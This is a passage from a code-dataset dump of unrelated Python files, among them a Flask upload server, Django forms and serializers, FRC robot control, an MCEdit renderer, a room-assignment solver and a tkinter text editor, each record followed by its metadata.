sys.exit()\n\nif theta_xmax > lambda_L:\n print('--------------------------------------------------')\n print('WARNING : SIMULATION DOMAIN LONGER THAN FIELD LINE')\n print('DO SOMETHING ABOUT IT')\n print('--------------------------------------------------')\n sys.exit()\n\nif particle_periodic + particle_reflect + particle_reinit > 1:\n print('--------------------------------------------------')\n print('WARNING : ONLY ONE PARTICLE BOUNDARY CONDITION ALLOWED')\n print('DO SOMETHING ABOUT IT')\n print('--------------------------------------------------')\n \nos.system(\"title Hybrid Simulation :: {} :: Run {}\".format(save_path.split('//')[-1], run))\n","sub_path":"simulation_codes/_archived/PREDCORR_1D_INJECT_OPT_V2/simulation_parameters_1D.py","file_name":"simulation_parameters_1D.py","file_ext":"py","file_size_in_byte":16329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"213971251","text":"from flask import Flask\nfrom flask import request\nimport uuid\nimport divider\nimport time\nimport cv2\nimport train_and_val as pre\n\napp = Flask(__name__)\nfilePath = 'uploadFile/'\n\n\n@app.route('/index')\ndef index():\n return 'hello world'\n\n\n@app.route('/judge/word', methods=['POST'])\ndef getpic():\n uploadFile = request.files['img']\n username=request.form['username']\n fileName = str(uploadFile.filename)\n # print('单字的名称:' + fileName)\n uuidstr = str(uuid.uuid4()).replace('-', '')\n fileName = username+'_'+uuidstr + fileName[fileName.find('.'):]\n dstPath = filePath + fileName\n # print(dstPath)\n uploadFile.save(dstPath)\n\n imglist = divider.getdivide(dstPath)\n for i in range(imglist):\n cv2.imshow(\"temp\", i)\n cv2.moveWindow(\"temp\", 200, 200)\n cv2.waitKey(1000)\n\n return '1'\n\n\n@app.route('/judge/pinyin', methods=['POST'])\ndef judgePinyin():\n try:\n uploadFile = request.files['file']\n right_ans = request.form.get('right_ans')\n print(\"right_ans:\" + right_ans)\n fileName = str(uploadFile.filename)\n # print('单字的名称:' + fileName)\n uuidstr = str(uuid.uuid4()).replace('-', '')\n fileName = uuidstr + fileName[fileName.find('.'):]\n dstPath = filePath + fileName\n print(dstPath)\n uploadFile.save(dstPath)\n\n # 开始分割\n imglist = divider.getdivide(dstPath)\n for i in range(len(imglist)):\n cv2.imwrite('cuttedPinYin/' + str(i) +'_'+str(time.time())+ \".jpg\", pre.dealwithimg(imglist[i]))\n\n Ans_List = pre.predictForServer(imglist)\n Ans_List = ''.join(Ans_List)\n print(Ans_List)\n print('-------------------------------')\n print()\n if Ans_List == right_ans:\n return '1'\n return '0'\n except:\n return '2'\n\n\nif __name__ == '__main__':\n app.run(port=4999)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"407573810","text":"from wpilib.command import Command\nfrom wpilib import Timer\nimport math\nfrom wpilib import SmartDashboard\nfrom wpilib import DriverStation\n\nclass AutonomousRotate(Command):\n \"\"\"\n This command drives the robot over a given distance with simple proportional\n control - handled internally by the sparkMAX\n \"\"\"\n def __init__(self, robot, setpoint=None, timeout=None, from_dashboard = True):\n \"\"\"The constructor\"\"\"\n super().__init__()\n # Signal that we require ExampleSubsystem\n self.requires(robot.drivetrain)\n # little trick here so we can call this either from code explicitly with a setpoint or get from smartdashboard\n self.from_dashboard = from_dashboard\n self.setpoint = setpoint\n if timeout is None:\n self.setTimeout(3)\n else:\n self.setTimeout(timeout)\n self.robot = robot\n self.tolerance = 1\n self.kp = 0.05\n self.kd = 0.01\n self.kf = 0.1\n self.start_angle =0\n self.error = 0\n self.power = 0\n self.max_power = 0.25\n self.prev_error = 0\n strip_name = lambda x: str(x)[1 + str(x).rfind('.'):-2]\n self.name = strip_name(self.__class__)\n\n def initialize(self):\n \"\"\"Called just before this Command runs the first time.\"\"\"\n if self.from_dashboard:\n self.setpoint = SmartDashboard.getNumber('Auto Rotation',0)\n self.start_time = round(Timer.getFPGATimestamp() - self.robot.enabled_time, 1)\n print(\"\\n\" + f\"** Started {self.name} with setpoint {self.setpoint} at {self.start_time} s **\")\n SmartDashboard.putString(\"alert\", f\"** Started {self.name} with setpoint {self.setpoint} at {self.start_time} s **\")\n self.start_angle = self.robot.navigation.get_angle()\n self.error = 0\n self.prev_error = 0\n\n def execute(self):\n \"\"\"Called repeatedly when this Command is scheduled to run\"\"\"\n self.error = self.setpoint - (self.robot.navigation.get_angle()-self.start_angle)\n self.power = self.kp * self.error + self.kf * math.copysign(1, self.error) + self.kd * (self.error - self.prev_error) / 0.02\n self.prev_error = self.error\n if self.power >0:\n self.power = min(self.max_power, self.power)\n else:\n self.power = max(-self.max_power, self.power)\n #self.robot.drivetrain.smooth_drive(0,-self.power)\n self.robot.drivetrain.smooth_drive(thrust=0, strafe=0, twist=self.power)\n SmartDashboard.putNumber(\"error\", self.error)\n\n def isFinished(self):\n \"\"\"Make this return true when this Command no longer needs to run execute()\"\"\"\n # somehow need to wait for the error level to get to a tolerance... request from drivetrain?\n # I know I could do this with a math.copysign, but this is more readable\n if self.setpoint > 0:\n return (self.setpoint - (self.robot.navigation.get_angle()-self.start_angle)) <= self.tolerance or self.isTimedOut()\n else:\n return (self.setpoint - (self.robot.navigation.get_angle() - self.start_angle)) >= -self.tolerance or self.isTimedOut()\n\n\n def end(self):\n \"\"\"Called once after isFinished returns true\"\"\"\n end_time = round(Timer.getFPGATimestamp() - self.robot.enabled_time, 1)\n print(\"\\n\" + f\"** Ended {self.name} at {end_time} s with a duration of {round(end_time-self.start_time,1)} s **\")\n SmartDashboard.putString(\"alert\", f\"** Ended {self.name} at {end_time} s with a duration of {round(end_time - self.start_time, 1)} s **\")\n self.robot.drivetrain.stop()\n\n def interrupted(self):\n \"\"\"Called when another command which requires one or more of the same subsystems is scheduled to run.\"\"\"\n self.robot.drivetrain.stop()\n print(\"\\n\" + f\"** Interrupted {self.name} at {round(Timer.getFPGATimestamp() - self.robot.enabled_time, 1)} s **\")\n","sub_path":"robot/commands/autonomous_rotate.py","file_name":"autonomous_rotate.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"209616216","text":"__author__ = 'erik'\n\n\nclass Quad:\n\n _id_counter = 0\n\n # _quadlist and _vertexlist have to be of type np.array!\n def __init__(self, _vertex1, _vertex2, _vertex3, _vertex4, _edge1, _edge2, _edge3, _edge4):\n\n self.id = self._obtain_id()\n self.vertices = [_vertex1, _vertex2, _vertex3, _vertex4]\n for vertex in self.vertices:\n vertex.add_quad(self)\n\n self.edges = [_edge1, _edge2, _edge3, _edge4]\n for edge in self.edges:\n edge.add_quad(self)\n\n def get_vertices(self):\n return self.vertices\n\n def get_edges(self):\n return self.edges\n\n def get_opposite_vertex(self, vertex):\n vertex_index = self.vertices.index(vertex)\n opposite_index = (vertex_index + 2) % 4\n return self.vertices[opposite_index]\n\n def get_edge_neighbouring_quads(self):\n quad_list = []\n for edge in self.edges:\n for quad in edge.get_quads:\n if quad != self:\n quad_list.append(quad)\n\n return quad_list\n\n def get_vertex_neighbouring_quads(self):\n quad_list = []\n for vertex in self.vertices:\n for quad in vertex.get_quads:\n if quad != self:\n quad_list.append(quad)\n\n return quad_list\n\n def _obtain_id(self):\n id = Quad._id_counter\n Quad._id_counter += 1\n return id\n\n # def replace_edge(self, old_edge, new_edge):\n # edge_index = self.edges.index(old_edge)\n # edge_vertices = self.edges[edge_index].get_vertices\n #\n # self.vertices[self.vertices.index(edge_vertices[0])] = new_edge.get_vertices[0]\n # self.vertices[self.vertices.index(edge_vertices[1])] = new_edge.get_vertices[1]\n #\n # def replace_vertex(self, old_vertex, new_vertex):\n # vertex_index = self.vertices.index(old_vertex)\n #\n # old_vertex.get_edges\n","sub_path":"Prototypes/PYTHON/Sandbox/DC_OOP/Datastructures/Quad.py","file_name":"Quad.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"235640862","text":"from .models import Comment\nfrom django.forms import ModelForm, fields\nfrom django import forms\n\n\n\n\n\nclass CommentForm(ModelForm):\n \n body = forms.CharField(label='',widget=forms.Textarea(attrs={\n 'class':'form-control',\n 'placeholder':'comment here',\n 'rows':2,\n 'cols':50,\n }))\n class Meta:\n model = Comment\n fields= ('email','body')\n\n","sub_path":"blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"229828191","text":"import requests\nfrom django.db import transaction\nfrom rest_framework import serializers\nfrom rest_framework.fields import SerializerMethodField\n\nfrom inventory_manage.functions import judge_pcs, safe_int, equal_zero\nfrom inventory_management import settings\nfrom libs.utils.http import APIResponse\nfrom .models import Inventory, InventoryChange, InventorySetting\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\nclass InventorySerializer(serializers.ModelSerializer):\n # change_count = serializers.IntegerField(label='库存变动数量', validators=[equal_zero], write_only=True)\n change_count = serializers.IntegerField(label='库存变动数量', write_only=True)\n change_info = serializers.CharField(max_length=20, allow_null=True, allow_blank=True, label='备注/操作原因',\n write_only=True,\n required=False)\n extra_info = serializers.CharField(max_length=20, label='调入仓位', allow_null=True, allow_blank=True,\n write_only=True,\n required=False)\n\n class Meta:\n model = Inventory\n fields = \"__all__\"\n read_only_fields = (\"goods_id\", \"goods_add_time\", 'goods_name', \"goods_max_count\", \"goods_min_count\",\n 'goods_model', 'goods_brand_name', 'goods_supplier', 'goods_current_count', 'img_url')\n\n def update(self, instance, validated_data):\n change_count = safe_int(validated_data.get('change_count', 0))\n if not change_count:\n return APIResponse(success=False, msg='库存变动数量为0,未对商品做出任何修改,请填写正确的修改信息')\n change_info = validated_data.get('change_info', None)\n extra_info = validated_data.get('extra_info', None)\n\n changed = instance.goods_current_count + change_count\n user_operation = '入库' if change_count > 0 else '调拨出库'\n\n if judge_pcs(instance.goods_min_count, instance.goods_max_count, changed=changed):\n # 请求接口获取调拨或者入库单号\n url = settings.RNO_URL if user_operation == '入库' else settings.DNO_URL\n r = requests.post(url, verify=False)\n order_id = 'inbound_sn' if user_operation == '入库' else 'allocation_sn'\n result = r.json()\n if result.get('rescode') == '10000':\n data = result.get('data')\n order_id = data.get(order_id)\n else:\n raise Exception(result.get('msg'))\n try:\n putin_or_out = InventoryChange(goods_id=instance.goods_id, change_count=change_count,\n change_info=change_info, order_id=order_id,\n change_option=user_operation, extra_info=extra_info,\n goods_name=instance.goods_name)\n instance.goods_current_count += change_count\n with transaction.atomic():\n instance.save()\n putin_or_out.save()\n except Exception as e:\n msg = '修改库存失败,新增/调拨库存单没有创建成功'\n return APIResponse(success=False, msg=msg)\n else:\n return APIResponse(success=False, msg='新增库存数太大,超过最大库存限制')\n\n return putin_or_out\n\n\nclass InventorySettingSerializer(serializers.ModelSerializer):\n class Meta:\n model = InventorySetting\n fields = \"__all__\"\n read_only_fields = ('goods_name', 'goods_model', 'goods_brand_name', 'goods_supplier', 'goods_current_count',)\n\n\nclass InventorySettingInfoSerializer(serializers.ModelSerializer):\n inventory_setting_info = SerializerMethodField(read_only=True)\n operator = serializers.HiddenField(default=serializers.CurrentUserDefault(), write_only=True)\n goods_min_count = serializers.IntegerField(min_value=1, label='允许最小库存',\n error_messages={'min_value': '请确保最小库存数大于或者等于 1'})\n goods_max_count = serializers.IntegerField(min_value=1, label='允许最大库存',\n error_messages={'min_value': '请确保最大库存数大于或者等于 1'})\n\n class Meta:\n model = Inventory\n fields = ('goods_id', 'goods_name', 'goods_model', 'goods_brand_name', 'goods_supplier', 'goods_current_count',\n 'goods_min_count', 'goods_max_count', 'inventory_setting_info', 'operator')\n read_only_fields = (\n \"goods_id\", 'goods_name', 'goods_model', 'goods_brand_name', 'goods_supplier', 'goods_current_count',)\n\n def get_inventory_setting_info(self, obj):\n return InventorySettingSerializer(InventorySetting.objects.filter(goods_id=obj.goods_id).order_by(\n \"-setting_time\"), many=True).data\n\n def update(self, instance, validated_data):\n setting_info = '修改库存配置为,最低库存:%s最高库存:%s.原数据:最低库存:%s,最高库存:%s' % (\n validated_data[\"goods_min_count\"], validated_data[\"goods_max_count\"],\n instance.goods_min_count, instance.goods_max_count\n )\n min_pcs, max_pcs = safe_int(validated_data[\"goods_min_count\"]), safe_int(validated_data[\"goods_max_count\"])\n if judge_pcs(min_pcs, max_pcs):\n try:\n inventory_setting = InventorySetting(goods_id=instance.goods_id, setting_info=setting_info,\n operator=validated_data['operator'])\n instance.goods_max_count = max_pcs\n instance.goods_min_count = min_pcs\n with transaction.atomic():\n instance.save()\n inventory_setting.save()\n except Exception:\n return APIResponse(success=False, msg='配置库存失败')\n else:\n return APIResponse(success=False, msg='最大库存数不能小于最小库存数')\n return instance\n\n\nclass InventoryChangeSerializer(serializers.ModelSerializer):\n class Meta:\n model = InventoryChange\n fields = (\"goods_id\", \"order_id\", \"change_count\", \"change_option\", \"change_time\",\n \"goods_name\", \"img_url\")\n\n\nclass SCMInventoryRecordSerializer(serializers.ModelSerializer):\n inventory_change = InventoryChangeSerializer(many=True)\n\n class Meta:\n model = Inventory\n fields = ('goods_id', 'goods_name', 'goods_model', 'goods_brand_name', 'goods_supplier',\n 'inventory_change')\n","sub_path":"glc-inventory-management-api/inventory_manage/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":6743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"242536440","text":"import networkx as nx\nfrom parse import read_input_file, write_output_file\nfrom utils import is_valid_solution, calculate_happiness, calculate_stress_for_room, convert_dictionary\nimport sys\nimport copy\n\n# complete search for 10 people\n# takes too long for 20 and 50 people\ndef complete_solve(G, s):\n \"\"\"\n Args:\n G: networkx.Graph\n s: stress_budget\n Returns:\n D: Dictionary mapping for student to breakout room r e.g. {0:2, 1:0, 2:1, 3:2}\n k: Number of breakout rooms\n \"\"\"\n rooms = []\n\n max_happiness = -float('inf')\n ret = None\n k = 0\n\n def create(nodes, mapping):\n nonlocal max_happiness\n nonlocal ret\n nonlocal k\n if nodes == []:\n mm = convert_dictionary(mapping)\n #if mapping not in rooms and is_valid_solution(mm, G, s, len(mapping)):\n #rooms.append(mapping)\n room_k = len(mapping)\n if is_valid_solution(mm, G, s, room_k):\n happiness = calculate_happiness(mm, G)\n if happiness > max_happiness:\n max_happiness = happiness\n ret = mm\n k = room_k\n return\n pp = nodes[0]\n r = 0\n n = copy.deepcopy(nodes)\n n.remove(pp)\n for room in mapping:\n m = copy.deepcopy(mapping)\n m[room] = m[room] + [pp]\n mm = convert_dictionary(m)\n if is_valid_solution(mm, G, s, len(m)):\n create(n, m)\n r += 1\n m = copy.deepcopy(mapping)\n m[r] = [pp]\n create(n, m)\n\n nodes = list(G.nodes)\n pp = nodes[0]\n n = copy.deepcopy(nodes)\n n.remove(pp)\n mapping = {}\n mapping[0] = [pp]\n create(n, mapping)\n print(\"done generating everything\")\n\n # max_happiness = -float('inf')\n # ret = None\n # k = 0\n\n # for room in rooms:\n # r = convert_dictionary(room)\n # room_k = len(room)\n # if is_valid_solution(r, G, s, room_k):\n # happiness = calculate_happiness(r, G)\n # if happiness > max_happiness:\n # max_happiness = happiness\n # ret = r\n # k = room_k\n return ret, k\n\n\ndef solve(G, s, swap):\n \"\"\"\n Args:\n G: networkx.Graph\n s: stress_budget\n Returns:\n D: Dictionary mapping for student to breakout room r e.g. {0:2, 1:0, 2:1, 3:2}\n k: Number of breakout rooms\n \"\"\"\n\n # TODO: your code here!\n rooms = [list(G.nodes)]\n\n def move(index):\n room = rooms[index]\n # if room satisfies stress requirement\n if calculate_stress_for_room(room, G) <= s / len(rooms):\n return\n \n # person to be removed\n kick = process(index)\n # remove person\n rooms[index].remove(kick)\n # create new room if necessary\n if index == len(rooms) - 1:\n rooms.append([])\n # add person to new room\n rooms[index + 1].append(kick)\n # check next room for validity\n move(index + 1)\n \n \n def process(index):\n r = rooms[index]\n ret = {}\n for i in r:\n ret[i] = 0\n for j in r:\n if i == j:\n continue\n if swap == 0:\n ret[i] += G.edges[i,j][\"happiness\"] - G.edges[i,j][\"stress\"]\n elif swap == 1:\n ret[i] += G.edges[i,j][\"happiness\"]\n else:\n ret[i] -= G.edges[i,j][\"stress\"]\n return min(ret, key = lambda x: ret[x])\n\n\n finished = False\n while not finished:\n finished = True\n for i in range(len(rooms)):\n room = rooms[i]\n if calculate_stress_for_room(room, G) > s / len(rooms):\n move(i)\n finished = False\n break\n\n D = {}\n for i in range(len(rooms)):\n r = rooms[i]\n for n in r:\n D[n] = i\n k = len(rooms)\n ret = D\n\n max_happiness = calculate_happiness(ret, G)\n improved = True\n # print(\"before\", max_happiness)\n\n # def search_local(depth):\n # nonlocal D\n # nonlocal k\n # nonlocal improved\n # nonlocal max_happiness\n # nonlocal ret\n # if depth == 0:\n # return\n # for i in D:\n # for j in D:\n # if i == j:\n # continue\n # D[i], D[j] = D[j], D[i]\n # kkk = len(set(D.values()))\n # if is_valid_solution(D, G, s, kkk):\n # happy = calculate_happiness(D, G)\n # if happy > max_happiness:\n # k = kkk\n # max_happiness = happy\n # ret = {}\n # for key in D:\n # ret[key] = D[key]\n # improved = True\n # search_local(depth - 1)\n # D[i], D[j] = D[j], D[i]\n\n # temp, D[i] = D[i], D[j]\n # kkk = len(set(D.values()))\n # if is_valid_solution(D, G, s, kkk):\n # happy = calculate_happiness(D, G)\n # if happy > max_happiness:\n # k = kkk\n # max_happiness = happy\n # ret = {}\n # for key in D:\n # ret[key] = D[key]\n # improved = True\n # search_local(depth - 1)\n # D[i] = temp\n\n while improved:\n improved = False\n # search_local(2)\n # D = ret\n for i in D:\n for j in D:\n if i == j:\n continue\n D[i], D[j] = D[j], D[i]\n kkk = len(set(D.values()))\n if is_valid_solution(D, G, s, kkk):\n if calculate_happiness(D, G) > max_happiness:\n max_happiness = calculate_happiness(D, G)\n ret = {}\n for key in D:\n ret[key] = D[key]\n improved = True\n k = kkk\n D[i], D[j] = D[j], D[i]\n\n temp, D[i] = D[i], D[j]\n kkk = len(set(D.values()))\n if is_valid_solution(D, G, s, kkk):\n if calculate_happiness(D, G) > max_happiness:\n max_happiness = calculate_happiness(D, G)\n ret = {}\n for key in D:\n ret[key] = D[key]\n improved = True\n k = kkk\n D[i] = temp\n D = ret\n # print(\"after:\", max_happiness)\n return ret, k, max_happiness\n\n# Here's an example of how to run your solver.\n\n# Usage: python3 solver.py test.in\n\nif __name__ == '__main__':\n # assert len(sys.argv) == 2\n # path = sys.argv[1]\n # G, s = read_input_file(path)\n # #D, k = complete_solve(G, s)\n # D1, k1, h1 = solve(G, s, 0)\n # D2, k2, h2 = solve(G, s, 1)\n # D3, k3, h3 = solve(G, s, 2)\n # assert is_valid_solution(D1, G, s, k1)\n # assert is_valid_solution(D2, G, s, k2)\n # assert is_valid_solution(D3, G, s, k3)\n # best = max([h1, h2, h3])\n # if h1 == best:\n # print(\"h1\")\n # D = D1\n # elif h2 == best:\n # print(\"h2\")\n # D = D2\n # elif h3 == best:\n # print(\"h3\")\n # D = D3\n # print(\"Total Happiness: {}\".format(calculate_happiness(D, G)))\n\n\n for i in range(1, 243):\n path = 'inputs/medium/medium-'\n path += str(i)\n path += '.in'\n try:\n test = open(path, 'r')\n test.close()\n except:\n continue\n G, s = read_input_file(path)\n #D, k = complete_solve(G, s)\n # D, k = solve(G, s)\n D1, k1, h1 = solve(G, s, 0)\n D2, k2, h2 = solve(G, s, 1)\n D3, k3, h3 = solve(G, s, 2)\n assert is_valid_solution(D1, G, s, k1)\n assert is_valid_solution(D2, G, s, k2)\n assert is_valid_solution(D3, G, s, k3)\n best = max([h1, h2, h3])\n if h1 == best:\n D = D1\n elif h2 == best:\n D = D2\n elif h3 == best:\n D = D3\n print(\"Total Happiness: {}\".format(calculate_happiness(D, G)))\n out_path = 'out/'\n out_path += path.split('/')[-2]\n out_path += '/'\n out_path += path.split('/')[-1]\n out_path = out_path.split('.')[0]\n out_path += '.out'\n write_output_file(D, out_path)\n\n\n# For testing a folder of inputs to create a folder of outputs, you can use glob (need to import it)\n# if __name__ == '__main__':\n# inputs = glob.glob('file_path/inputs/*')\n# for input_path in inputs:\n# output_path = 'file_path/outputs/' + basename(normpath(input_path))[:-3] + '.out'\n# G, s = read_input_file(input_path, 100)\n# D, k = solve(G, s)\n# assert is_valid_solution(D, G, s, k)\n# cost_t = calculate_happiness(T)\n# write_output_file(D, output_path)\n","sub_path":"solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":9151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"32684663","text":"class Node:\n def __init__(self,item):\n self.item = item\n self.left = None\n self.right = None\n\ndef isFullTree(root):\n if root is None:\n return True\n elif root.left is None and root.right is None:\n return True\n elif root.left is not None and root.right is not None:\n return(isFullTree(root.left) and isFullTree(root.right))\n else:\n return False\n\n#initialising the node:\nroot = Node(1)\nroot.left = Node(3)\nroot.right = Node(2)\n\nroot.left.left = Node(4)\nroot.left.right = Node(5)\n\nroot.left.left.left = Node(6)\nroot.left.left.right = Node(7)\n\nif isFullTree(root):\n print(\"The tree id is a full binary tree\")\nelse:\n print(\"The tree id is not a full binary tree\")\n","sub_path":"Tree based DSA(I)/full-binary-tree.py","file_name":"full-binary-tree.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"309707464","text":"\"\"\"\n ${NAME}\n\"\"\"\nfrom __future__ import absolute_import, division, print_function, unicode_literals\nimport logging\nimport numpy\nfrom mcedit2.rendering import renderstates\nfrom mcedit2.rendering.blockmeshes import BlockMeshBase, registerBlockRenderer\nfrom mcedit2.rendering.vertexarraybuffer import VertexArrayBuffer\nfrom mceditlib import faces\n\nlog = logging.getLogger(__name__)\n\n@registerBlockRenderer(\"Torch\")\nclass TorchBlockMesh(BlockMeshBase):\n blocktypes = [50, 75, 76]\n renderstate = renderstates.RenderstateAlphaTestNode\n torchOffsetsStraight = [\n [# FaceXIncreasing\n (-7 / 16., 0, 0),\n (-7 / 16., 0, 0),\n (-7 / 16., 0, 0),\n (-7 / 16., 0, 0),\n ],\n [# FaceXDecreasing\n (7 / 16., 0, 0),\n (7 / 16., 0, 0),\n (7 / 16., 0, 0),\n (7 / 16., 0, 0),\n ],\n [# FaceYIncreasing\n (7 / 16., -6 / 16., 7 / 16.),\n (7 / 16., -6 / 16., -7 / 16.),\n (-7 / 16., -6 / 16., -7 / 16.),\n (-7 / 16., -6 / 16., 7 / 16.),\n ],\n [# FaceYDecreasing\n (7 / 16., 0., 7 / 16.),\n (-7 / 16., 0., 7 / 16.),\n (-7 / 16., 0., -7 / 16.),\n (7 / 16., 0., -7 / 16.),\n ],\n\n [# FaceZIncreasing\n (0, 0, -7 / 16.),\n (0, 0, -7 / 16.),\n (0, 0, -7 / 16.),\n (0, 0, -7 / 16.)\n ],\n [# FaceZDecreasing\n (0, 0, 7 / 16.),\n (0, 0, 7 / 16.),\n (0, 0, 7 / 16.),\n (0, 0, 7 / 16.)\n ],\n\n ]\n\n torchOffsetsSouth = [\n [# FaceXIncreasing\n (-7 / 16., 3 / 16., 0),\n (-7 / 16., 3 / 16., 0),\n (-7 / 16., 3 / 16., 0),\n (-7 / 16., 3 / 16., 0),\n ],\n [# FaceXDecreasing\n (7 / 16., 3 / 16., 0),\n (7 / 16., 3 / 16., 0),\n (7 / 16., 3 / 16., 0),\n (7 / 16., 3 / 16., 0),\n ],\n [# FaceYIncreasing\n (7 / 16., -3 / 16., 7 / 16.),\n (7 / 16., -3 / 16., -7 / 16.),\n (-7 / 16., -3 / 16., -7 / 16.),\n (-7 / 16., -3 / 16., 7 / 16.),\n ],\n [# FaceYDecreasing\n (7 / 16., 3 / 16., 7 / 16.),\n (-7 / 16., 3 / 16., 7 / 16.),\n (-7 / 16., 3 / 16., -7 / 16.),\n (7 / 16., 3 / 16., -7 / 16.),\n ],\n\n [# FaceZIncreasing\n (0, 3 / 16., -7 / 16.),\n (0, 3 / 16., -7 / 16.),\n (0, 3 / 16., -7 / 16.),\n (0, 3 / 16., -7 / 16.)\n ],\n [# FaceZDecreasing\n (0, 3 / 16., 7 / 16.),\n (0, 3 / 16., 7 / 16.),\n (0, 3 / 16., 7 / 16.),\n (0, 3 / 16., 7 / 16.),\n ],\n\n ]\n torchOffsetsNorth = torchOffsetsWest = torchOffsetsEast = torchOffsetsSouth\n\n torchOffsets = [\n torchOffsetsStraight,\n torchOffsetsSouth,\n torchOffsetsNorth,\n torchOffsetsWest,\n torchOffsetsEast,\n torchOffsetsStraight,\n ] + [torchOffsetsStraight] * 10\n\n torchOffsets = numpy.array(torchOffsets, dtype='float32')\n\n torchOffsets[1][..., 3, :, 0] -= 0.5\n\n torchOffsets[1][..., 0:2, 0:2, 0] -= 0.5\n torchOffsets[1][..., 4:6, 0:2, 0] -= 0.5\n torchOffsets[1][..., 0:2, 2:4, 0] -= 0.1\n torchOffsets[1][..., 4:6, 2:4, 0] -= 0.1\n\n torchOffsets[1][..., 2, :, 0] -= 0.25\n\n torchOffsets[2][..., 3, :, 0] += 0.5\n torchOffsets[2][..., 0:2, 0:2, 0] += 0.5\n torchOffsets[2][..., 4:6, 0:2, 0] += 0.5\n torchOffsets[2][..., 0:2, 2:4, 0] += 0.1\n torchOffsets[2][..., 4:6, 2:4, 0] += 0.1\n torchOffsets[2][..., 2, :, 0] += 0.25\n\n torchOffsets[3][..., 3, :, 2] -= 0.5\n torchOffsets[3][..., 0:2, 0:2, 2] -= 0.5\n torchOffsets[3][..., 4:6, 0:2, 2] -= 0.5\n torchOffsets[3][..., 0:2, 2:4, 2] -= 0.1\n torchOffsets[3][..., 4:6, 2:4, 2] -= 0.1\n torchOffsets[3][..., 2, :, 2] -= 0.25\n\n torchOffsets[4][..., 3, :, 2] += 0.5\n torchOffsets[4][..., 0:2, 0:2, 2] += 0.5\n torchOffsets[4][..., 4:6, 0:2, 2] += 0.5\n torchOffsets[4][..., 0:2, 2:4, 2] += 0.1\n torchOffsets[4][..., 4:6, 2:4, 2] += 0.1\n torchOffsets[4][..., 2, :, 2] += 0.25\n\n upCoords = ((7, 6), (7, 8), (9, 8), (9, 6))\n downCoords = ((7, 14), (7, 16), (9, 16), (9, 14))\n\n def makeTorchVertices(self):\n\n blockIndices = self.getRenderTypeMask()\n data = self.sectionUpdate.Data[blockIndices]\n torchOffsets = self.torchOffsets[data]\n texes = self.sectionUpdate.lookupTextures(self.sectionUpdate.Blocks[blockIndices], data, 0) # xxx assuming same tex on all sides!!\n yield\n\n arrays = []\n blockLight = self.sectionUpdate.chunkSection.BlockLight[blockIndices]\n skyLight = self.sectionUpdate.chunkSection.SkyLight[blockIndices]\n\n for direction in range(6):\n vertexBuffer = VertexArrayBuffer.fromIndices(direction, blockIndices)\n if not len(vertexBuffer):\n return\n\n vertexBuffer.rgba[:] = 0xff\n vertexBuffer.vertex[:] += torchOffsets[:, direction]\n vertexBuffer.applyTexMap(texes)\n if direction == faces.FaceYIncreasing:\n vertexBuffer.texcoord[:] += self.upCoords\n if direction == faces.FaceYDecreasing:\n vertexBuffer.texcoord[:] += self.downCoords\n\n vertexBuffer.setLights(skyLight, blockLight)\n arrays.append(vertexBuffer)\n yield\n\n self.vertexArrays = arrays\n\n makeVertices = makeTorchVertices\n","sub_path":"src/mcedit2/rendering/blockmeshes/torch.py","file_name":"torch.py","file_ext":"py","file_size_in_byte":5501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"553491300","text":"import tkinter\nfrom tkinter import filedialog\n\nfilename=''\nfullscreen=False\n\ndef save():\n\tglobal filename\n\tif not filename:\n\t\tfilename=filedialog.asksaveasfilename()\n\t\tfile=open(filename, 'w')\n\t\ttxt=text.get('1.0', tkinter.END)\n\t\tfile.write(txt)\n\t\tfile.close()\n\telse:\n\t\tfile=open(filename, 'w')\n\t\ttxt=text.get('1.0', tkinter.END)\n\t\tfile.write(txt)\n\t\tfile.close()\n\t\t\ndef saveas():\n\tglobal filename\n\tfilename=filedialog.asksaveasfilename()\n\tfile=open(filename, 'w')\n\ttxt=text.get('1.0', tkinter.END)\n\tfile.write(txt)\n\tfile.close()\n\ndef openfile():\n\tglobal filename\n\tfilename=filedialog.askopenfilename()\n\tfile=open(filename)\n\ttxt=file.read()\n\ttext.delete('1.0', tkinter.END)\n\ttext.insert('1.0', txt)\n\ndef ftoggle():\n global fullscreen\n print(fullscreen)\n if fullscreen:\n root.attributes('-fullscreen', False)\n fullscreen=False\n else:\n root.attributes('-fullscreen', True)\n fullscreen=True\n\ndef blueselected():\n text.tag_add('blue', tkinter.SEL_FIRST, tkinter.SEL_LAST)\n text.tag_config('blue', foreground='blue')\n\ndef blackselected():\n text.tag_add('black', tkinter.SEL_FIRST, tkinter.SEL_LAST)\n text.tag_config('black', foreground='black')\n\ndef greenselected():\n text.tag_add('green', tkinter.SEL_FIRST, tkinter.SEL_LAST)\n text.tag_config('green', foreground='green')\n\ndef redselected():\n text.tag_add('red', tkinter.SEL_FIRST, tkinter.SEL_LAST)\n text.tag_config('red', foreground='red')\n\ndef hackselected():\n text.tag_add('hack', tkinter.SEL_FIRST, tkinter.SEL_LAST)\n text.tag_config('hack', foreground='green', background='black')\n\ndef clearallcoloures():\n for tag in text.tag_names():\n text.tag_delete(tag)\n\ndef runpy():\n txt=text.get('1.0', tkinter.END)\n exec(txt)\n\nroot=tkinter.Tk()\nroot.title('TSARSOFT Text 